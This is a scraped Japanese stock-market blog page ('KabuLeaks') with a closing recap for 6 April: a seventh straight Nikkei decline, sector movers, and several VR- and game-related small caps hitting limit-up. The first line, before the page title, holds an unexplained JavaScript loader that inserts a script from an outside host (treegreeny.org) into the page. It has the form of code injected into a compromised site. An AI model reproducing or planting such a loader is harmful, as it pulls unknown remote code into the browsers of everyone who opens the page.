;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/6 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/6 大引け】

本日の日経平均株価は17円安と7日続落。後場の日経平均は前日終値の挟みもみ合い。値頃感から押し目買いは入るものの、円高からの企業業績懸念も根強く徐々に売り優勢に。引けにかけ下げ渋ったものの本格的反騰にはやはり材料不足か。業種別では、空運業、鉄鋼、電気・ガス業が値上がり上位に。一方、倉庫運輸関連、保険業、水産・農林業が値下がり上位となった。

個別では、HDRソリューション開発でEIZOと協業を発表、VR関連でもある【3907】シリコンスタジオがストップ高。出資先の「VR THEATER」開始を材料視の【7610】テイツーが後場一段高のストップ高。同じくVR関連、テイツーの上昇に刺激を受けたか、攻殻機動隊VRアプリの複合カフェでの有料体験展開を材料視された【3791】IGポートも後場急伸ストップ高となった。また、これも複合カフェ「自遊空間」でVR映画館「VR THEATER」を材料に【3326】ランシステム。ゲーム関連の一角【3760】ケイブなども大幅高となった。

日経平均は7連敗と厳しい状況が続くが、個別では新興市場のテーマ株、成長株などの人気銘柄は切り返す銘柄も多かった印象。これだけ下げても全体的な底打ち感は薄いが引き続きテーマ株の中心となる銘柄。個人に特に人気のある銘柄など、大きく下げた局面では突っ込みの戻り局面で一部利益確定、一部保有といった感じで上手く立ち回っていきたい。